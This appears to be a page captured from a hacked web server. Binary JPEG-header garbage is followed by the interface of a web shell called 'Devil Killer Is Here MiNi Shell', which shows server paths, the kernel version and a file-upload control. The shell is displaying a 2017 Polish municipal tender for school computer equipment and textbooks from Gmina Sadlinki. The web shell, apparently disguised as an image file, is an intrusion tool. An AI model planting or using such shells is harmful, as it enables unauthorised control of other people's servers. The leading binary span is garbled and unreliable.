JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20170810/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20170810/567646-N-2017.html

 <script type="text/javascript">//<![CDATA[//]]></script> <div> <style type="text/css"> .divRow_xforms { float: left; width: 100%; font-weight: normal; line-height: 30px; } .headerLarge_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: larger} .headerMedium_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: medium} .headerSmall_xforms { font-weight: bold; font-size: x-small;} .table_xforms { border-collapse: collapse; width: 900px; font-weight: normal} .table_xforms td { border: 2px solid black; border-collapse: collapse; padding: 5px;} .table_xforms th { border: 2px solid black; border-collapse: collapse; padding: 5px; font-weight: bold} @media print { .no-print, .no-print * { display: none !important; } } </style> <br /> <br /> <span id="ctl00_ContentPlaceHolder1_lblNumerOgloszenia">Ogłoszenie nr 567646-N-2017 z dnia 2017-08-10 r. </span> <br /> <br /> <div class="divRow_xforms"> <div class="headerMedium_xforms" style="text-align: center"> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc_h">Gmina Sadlinki</span>: <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu_h">Zakup i dostawa sprzętu TIK - II</span><br/> OGŁOSZENIE O ZAMÓWIENIU - <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia_h">Dostawy</span> </div> <div> <b>Zamieszczanie ogłoszenia:</b> <span id="ctl00_ContentPlaceHolder1_zamieszczanie_obowiazkowe">Zamieszczanie obowiązkowe</span> </div> <div> <b>Ogłoszenie dotyczy:</b> <span id="ctl00_ContentPlaceHolder1_ogloszenie_dotyczy">Zamówienia publicznego</span> </div> <div> <b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_finansowane_z_unii">Tak</span> </div> <br/> <b>Nazwa projektu lub programu</b> <br/> <span id="ctl00_ContentPlaceHolder1_nazwa_projektu_programu">,,LABORATORIUM KOMPETENCJI - Podniesienie jakości edukacji ogólnej wiejskiej Gminy Sadlinki poprzez wsparcie uczniów oraz nauczycieli w rozwijaniu kompetencji kluczowych wymaganych na rynku pracy" współfinansowany z Regionalnego Programu Operacyjnego Województwa Pomorskiego 2014-2020, Oś 3, Działanie 3.1 Edukacja ogólna, Poddziałanie 3.2.1 Jakość edukacji ogólnej.</span> </div> <div> <b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_ubiegac_zaklady_pracy">Nie</span> </div> <br/> Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %) <br/> <span id="ctl00_ContentPlaceHolder1_minimalny_procent_zatrudnienia"></span> </div> <div class="headerLarge_xforms" style="text-align: left"> <u>SEKCJA I: ZAMAWIAJĄCY</u> </div> <div style="padding-left: 20px"> <b>Postępowanie przeprowadza centralny zamawiający </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_centralny_zamawiajacy">Nie</span> </div> <b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_podmiot_zamawiajacy_powierzyl">Nie</span> </div> <b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_powierzyl"></span> <br/> <b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_wspolnie">Nie</span> </div> <br/> Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów: <br/> <br/> <b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_zamawiajacy_z_eu">Nie</span> </div> <b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej - mające zastosowanie krajowe prawo zamówień publicznych:</b> <span id="ctl00_ContentPlaceHolder1_postepowanie_wspolne_tresc"></span> <br/> <b>Informacje dodatkowe:</b> <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_zamawiajacy"></span> <br/> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>I. 1) NAZWA I ADRES: </b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_nazwa">Gmina Sadlinki</span>, krajowy numer identyfikacyjny <span id="ctl00_ContentPlaceHolder1_regon">17074804000000</span>, ul. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_ulica">ul. Kwidzyńska</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_domu">12</span> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_mieszkania"></span> , <span id="ctl00_ContentPlaceHolder1_zamawiajacy_kod_pocztowy">82522 </span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc">Sadlinki</span>, woj. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_wojewodztwo">pomorskie</span>, państwo <span id="ctl00_ContentPlaceHolder1_zamawiajacy_panstwo">Polska</span>, tel. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_telefon">552 757 510, </span>, e-mail <span id="ctl00_ContentPlaceHolder1_zamawiajacy_email">zamowienia@sadlinki.pl, </span>, faks <span id="ctl00_ContentPlaceHolder1_zamawiajacy_fax">552 757 580</span>. <br/> Adres strony internetowej (URL): <span id="ctl00_ContentPlaceHolder1_adres_strony_url">www.bip.sadlinki.pl</span> <br/> Adres profilu nabywcy: <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej">www.bip.sadlinki.pl</span> <br/> Adres strony internetowej pod którym można uzyskać dostęp do narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej_narzedzia"></span> </div> <div style="text-align: left"> <b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego">Administracja samorządowa</span> <br /> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego_inny"></span> </div> <div style="text-align: left"> <b> I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>: </b> <div style="padding-left: 20px"> Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających): <br/> <span id="ctl00_ContentPlaceHolder1_wspolne_udzielanie_zamowienia"></span> </div> </div> <div style="text-align: left"> <b> I.4) KOMUNIKACJA: </b> <br/> <b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_dokumentow_zamowienia">Tak</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_dokumentow_zamowienia">www.bip.sadlinki.pl</span> </div> <br/> <b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_zamieszczona_bedzie_specyfikacja">Tak</span> <br/> <span id="ctl00_ContentPlaceHolder1_zamieszczona_bedzie_specyfikacja">www.bip.sadlinki.pl</span> </div> <br/> <b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_do_dokumentow_ograniczony">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_do_dokumentow_ograniczony"></span> </div> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b> <br/> <b>Elektronicznie</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_oferty_wnioski_dostepne">Nie</span> <br/> adres <br/> <span id="ctl00_ContentPlaceHolder1_oferty_wnioski_dostepne"></span> </div> <br/> <div style="padding-left: 20px"> <b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszczone_wymagane_przeslanie_ofert">Nie</span> <br/> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_inny"></span> <br/> <b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_wymagane_przeslanie_ofert">Tak</span> <br /> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_wymagane_przeslanie_ofert_inny">w formie pisemnej , za pośrednictwem np. poczty, kuriera lub osobiście</span> <br/> Adres: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_adres">Urząd Gminy ul. Kwidzyńska 12, 82-522 Sadlinki</span> </div> <br/> <b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_komunikacja_elektroniczna_wymaga">Nie</span> <br/> Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL) <br/> <span id="ctl00_ContentPlaceHolder1_komunikacja_elektroniczna_wymaga"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA II: PRZEDMIOT ZAMÓWIENIA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <br/> <b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b> <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu">Zakup i dostawa sprzętu TIK - II</span> <br/> <b>Numer referencyjny: </b> <span id="ctl00_ContentPlaceHolder1_numer_referencyjny">ZP.271.13.2017</span> <br/> <b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b> <br/> <div style="padding-left: 20px; text-align: justify"> <span id="ctl00_ContentPlaceHolder1_czy_dialog_techniczny">Nie</span> </div> <br/> <b>II.2) Rodzaj zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia">Dostawy</span> <br/> <b>II.3) Informacja o możliwości składania ofert częściowych</b> <br/> Zamówienie podzielone jest na części: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_podzielone_na_czesci">Nie</span> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b> <br/> <span id="ctl00_ContentPlaceHolder1_oferty_lub_wnioski"></span> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci"></span> <br/> </div> <b>Zamawiający zastrzega sobie prawo do udzielenia łącznie następujących części lub grup części:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zastrzega_prawo_grup_czesci"></span> <br/> <b>Maksymalna liczba części zamówienia, na które może zostać udzielone zamówienie jednemu wykonawcy:</b> <br/> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci_jednemu_wykonawcy"></span> <br/> <br/> <br/> <b> II.4) Krótki opis przedmiotu zamówienia </b> <i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane: </b> <span id="ctl00_ContentPlaceHolder1_okreslenie_przedmiotu">Opis przedmiotu zamówienia(Zadanie 3: Kształtowanie i rozwijanie u uczniów kluczowych kompetencji przyrodniczych niezbędnych na rynku pracy w ZS Sadlinki oraz ZS Nebrowo)Dostawa do Zespołu Szkół Sadlinki, ul. Grudziądzka 14a, 82-522 Sadlinki1)	Tablica interaktywna - sztuk 1o	Obszar roboczy tablicy (wys. x szer.) min. 1207 mm x 1600 mmo	Szybkość odczytu 250 cali/ so	Rozdzielczość wyjściowa tablicy: 1000 linii/calo	Technologia elektromagnetyczna pasywnao	Sposób montażu - Montaż na ścianie lub na opcjonalnym mobilnym stojakuo	Możliwość połączenia z komputerem za pomocą: RS232, USB 1.1 lub 2.0, w zestawie przewód USB o długości 5 m. Możliwość połączenia tablicy z komputerem poprzez opcjonalne łącze bezprzewodoweo	Waga tablicy max. 23kg o	Możliwość pisania na tablicy dwoma pisakami jednocześnie (przez 2 osoby jednocześnie w tym samym czasie)o	Ilość urządzeń wskazujących dołączonych do tablicy: min. 2o Ładowarka do pisakówo	narzędzia do tworzenia elektronicznych adnotacji takich jak: różnokolorowe pisaki, zakreślacze, gumkio	Wersje językowe - oprogramowanie i pomoc w językach: polskim, angielskim, niemieckim, rosyjskimo	Rozpoznawanie i konwersja tekstu ręcznego i rysowanych odręcznie podstawowych figur geometrycznycho	Urządzenie wskazujące zapewnia pełną funkcjonalność myszki komputerowej (lewy oraz prawy przycisk myszy odsługiwany sprzętowo bez programowej emulacji)o	Możliwość odtworzenia ruchu kursora przy użyciu pisaka dołączonego do tablicy o	Obsługa następujących systemów operacyjnych: MS Windows XP/Vista, Mac OS X, Linuxo	Podręcznik do korzystania z oprogramowania i konfiguracji w języku polskimo	Możliwość rozbudowy systemu o dodatkowe elementy tego samego producenta:o	system pilotów radiowych do interaktywnych odpowiedzi służący do przeprowadzania testów wyboruo	bezprzewodowe tablety łącząceo	interaktywne panele LCDo	Montaż oferowanej tablicy po ustaleniu miejsca z zamawiającym.2)	Projektor szerokokątny - sztuk 1o	System projekcji?: DLP, ??o	Rozdzielczość: XGA (1024 x 768), o	Jasność?: min. 3000 Lumenów; o	Kontrast:? min. 12000:1?; o	Współczynnik projekcji: 79" z 1m; o	Czas pracy lampy: min 4500 godzin w trybie wysokim, o	Obsługiwana rozdzielczość UXGA (1600 x 1200) ?; o	Wbudowany głośnik min. 10W; o	Złącza: VGA in x2, VGA out x1, Audio in x2, Audio out x1, HDMI in x1, Composite in x1, S-Video in x1, RS232 x1, LAN x1;o	Waga: maks 2.8 kg; o	Uchwyt do montażu ściennego dla oferowanego projektora, montaż oferowanego projektora po ustaleniu miejsca z zamawiającym.3)	Komputer przenośny z systemem operacyjnym - sztuk 1 o	Procesor o wydajności min. 4690 pkt w CPU PassMark; o	Pamięć RAM min. 8 GB DDR4, możliwość rozszerzenia do 32 GB; o	Dysk twardy min. 500GB; o	Przekątna ekranu 15,6"; Rozdzielczość ekranu min. 1366 x 768; o	Karta graficzna o wydajności min. 945 pkt w PassMark; o	Wbudowany mikrofon; Wbudowane głośniki stereo; Wbudowana kamera 0.3 Mpix; LAN 1000 Mbps; Bluetooth; Wi-Fi 802.11 a/b/g/n/ac; o	Wydzielona klawiatura numeryczna; o	Możliwość zabezpieczenia linką (port Kensington Lock); o	Złącza: HDMI, VGA, 3x USB (w tym min. 1x USB 3.1) o	Wyjście słuchawkowe/wejście mikrofonowe, o	Najnowsza wersja systemu operacyjnego Windows z obsługą Active Directory w polskiej wersji językowej.o	Sprzęt musi być wyprodukowany zgodnie z normami ISO 9001 oraz ISO 14001. Naprawy w całym okresie gwarancji powinny być realizowane wyłącznie przez producenta lub autoryzowanego partnera serwisowego producenta.o	W ofercie wymagane jest podanie producenta i modelu oferowanego komputera oraz jego parametrów technicznych, a także dostarczenie karty katalogowej lub innego równoważnego dokumentu.4)	Tablet - sztuk 10o	Przekątna ekranu 10.1"; o	Rozdzielczość ekranu min.1920 x 1200; o	Pamięć RAM min. 2 GB; o	Pamięć wbudowana min. 16 GB; o	Nagrywanie 1920 x 1080; o	Wi-Fi 802.11 a/b/g/n/ac; Wbudowany moduł GPS; Bluetooth; o	Czytnik kart pamięci - 1 szt.; Wyjście słuchawkowe - 1 szt.; Micro USB - 1 szt.; o	Bateria min. 7300 mAh; o	Android min. 6.0 Marshmallow; o	Aparat 8.0 Mpix; o	Wbudowany mikrofon; Wbudowane głośniki; Czujnik światła; o	Waga maks 520 g;o	Etui do oferowanego sprzętu od producenta urządzenia.5)	Aparat fotograficzny - sztuk 1o	Rozdzielczość matrycy min. 24 Mpix; o	Wielkość matrycy min. 23,5 x 15,6 mm; Typ matrycy CMOS; o	Ogniskowanie: Detekcja fazowa, min. 10 punktowy AF; Pomiar światła Centralnie ważony, Punktowy, Matrycowy, Zakres ISO 100 - 12500, o	Rozdzielczość zdjęć: 4800 x 1632, 9600 x 1632, 4496 x 3000, 6000 x 4000; o	Nagrywanie 1920 x 1080, do 60 kl./s; o	Formaty zapisu2017-08-01 RAW, JPEG + RAW, MPEG-4 AVC, H.264, MOV, JPEG; o	Zdjęcia seryjne do 5 kl./s; o	Lampa błyskowa: Wbudowana z możliwością podpięcia zewnętrznej; o	Ekran LCD min. 3"; o	Złącza: Wyjście wideo - 1 szt., Czytnik kart SD - 1 szt., Wejście mikrofonowe 3.5 mm - 1 szt., mini HDMI - 1 szt., USB 2.0 - 1 szt.; o	Zakres pomiaru światła od 0 do min. 20 EV; o	W zestawie obiektyw 18 - 55 mm; Akumulator; Ładowarka; dedykowane oprogramowanie;6)	Wizualizer - sztuk 1o	Przetwornik: CMOS; Ilość pikseli: 5Mpix; o	Rozdzielczość: 1920 x 1080, 30 fps; o	Zoom cyfrowy: min. 16x; o	Obszar skanowania min. 50 x 37 cm; o	Kamera na gęsiej szyji, o	Automatyczny focus; o	Podświetlenie LED; o	Złącza: 2x VGA, 2x HDMI, o	Wbudowana pamięć z wejściem SD, o	Automatyczna regulacja przesłony; o	Dzielenie ekranu;o	Masa netto do 3 kg7)	Cyfrowy mikroskop - sztuk 1o	długość tubusu: 160 mmo	głowica binokularowa, obracana 360?, pochylenie 30?o	zakres regulacji odległości miedzy źrenicami: 48 mm - 75 mmo	regulacja dioptrii na lewym torze optycznym: +/- 5Do	miska obiektywowa czterogniazdowao	obiektywy achromatyczne 4x, 10x, 40x,100x o	Współosiowa regulacja mikro/makro; kondensor z przysłoną irysowąo	czułość ogniskowania: 0,004 mm (4um), zakres 24 mmo	oświetlacz diodowy LED z pokrętłem regulacji jasności; blokada górnego położenia stolika; pokrętło przesuwu preparatu X/Y; o	zasilanie sieciowe 230 V8)	Cyfrowa kamera z dedykowanym oprogramowaniem i statywem - sztuk 1o	Liczba pikseli: 12,76 Mpix; o	Zoom optyczny min. 20x; o	Długość ogniskowej min. 4.08 - 80 mm; o	Przysłona obiektywu F1,8 /F3,6; o	Automatyczna lub manualna regulacja ostrości; o	Jednoczesne filmowanie i fotografowanie; o	Nagrywanie w rozdzielczości 1920x1080@120 fps; tryb zwolnionego tempa; o	Funkcja HDR; o	Automatyczne wykrywanie warunków i ustawień filmowania; o	Czytnik NFC; zdalne sterowanie urządzeniami mobilnymi; o	Obsługa kart pamięci SD/SDHC/SDXC;o	Kompresja MPEG-4 AVC/H.264 ;o	Dotykowy wyświetlacz LCD 3" ;o	Wifi 802.11 b/g/n;o	Waga kamery: maks 360 go	Dedykowany statyw - maksymalna długość statywu: 170 cm, minimalna długość statywu: 65 cm, wymienna głowica 3D z poziomicą z gwintem w standardzie 1/4 cala, samopoziomujące stopki, trzysekcyjne nogi, hak do zawieszenia obciążania, udźwig 5 kg.9)	Urządzenie wielofunkcyjne, laser A4 - sztuk 1o	Urządzenie wielofunkcyjne z laserową drukarką monochromatyczną; o	Drukowanie, kopiowanie, skanowanie i faksowanie; o	Szybkość drukowania/Kopiowania - Jednostronne: 33 str./min; Dwustronne: 16 obr./min; o	Jakość wydruku: min. 1200 × 1200 dpi; o	Automatyczne drukowanie dwustronne; o	Automatyczne kopiowanie dwustronne; o	Drukowanie z pamięci USB, Google Cloud Print, AirPrint; o	Funkcje usuwania ramki, sortowanie, 2 strony na arkuszu, 4 strony na arkuszu, kopiowanie dokumentów tożsamości; o	Rozdzielczość skanowania: maks. 9600 × 9600 dpi; o	Skanowanie dwustronne; automatyczny podajnik oraz taca dokumentów; o	Skanowanie do : email, PC, USB, serwera, chmury; Szybkość modemu faks: min. 33 Kb/s; o	Dwustronne wysyłanie i odbieranie faksu; o	Kaseta o pojemności 500 arkuszy; o	Komunikacja LAN 1000Base-T, bezprzewodowa 802.11b/g/n; o	Kolorowy ekran dotykowy LCD min. 8,5"; o	Zdalny interfejs użytkownika; obsługa stanu tonera; zdalne odczyty liczników, automatyczne zarządzanie materiałami eksploatacyjny i zdalna diagnostyka.Dostawa do ZS w Nebrowie Wielkim, ul. Szkolna 6, 82-522 Sadlinki10)	Tablica interaktywna - sztuk 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.11)	Projektor szerokokątny - sztuk 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.12)	Komputer przenośny z systemem operacyjnym - sztuk 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.13)	Tablet - sztuk 10Specyfikacja jak w przypadku dostawy do ZS Sadlinki.14)	Cyfrowy aparat fotograficzny - sztuka 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.15)	Wizualizer - sztuka 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.16)	Cyfrowy mikroskop - sztuka 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.17)	Cyfrowa kamera z dedykowanym oprogramowaniem i statywem - sztuka 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.18)	Urządzenie wielofunkcyjne, laser A4 - sztuk 1Specyfikacja jak w przypadku dostawy do ZS Sadlinki.(Zadanie 4: Kształtowanie i rozwijanie u uczniów kompetencji kluczowych w zakresie języków obcych niezbędnych na rynku pracy w ZS w Sadlinki i ZS Nebrowo)Dostawa do Zespołu Szkół Sadlinki, ul. Grudziądzka 14a, 82-522 SadlinkiLp.	Nazwa	Liczba sztuk19	Big English 1 - Pupil's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1020	Big English 2 - Pupils's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1021	Big English 3 - Pupils's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1022	Big English 1 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 1	123	Big English 2 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 2	124	Big English 3 - Teacher's eText IWB - Płyta instalacyjna, oprogramowanie do tablic interaktywnych do podręcznika Big English 3	125	Big English 4 - Pupil's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć języka angielskiego, z kodem dostępu do zasobów internetowych ,,MyEnglishLab".	1026	Big English 5 - Pupil's Book with MyEnglishLab - Podręcznik papierowy do nauki języka angielskiego przeznaczony dla grup z większą ilością zajęć 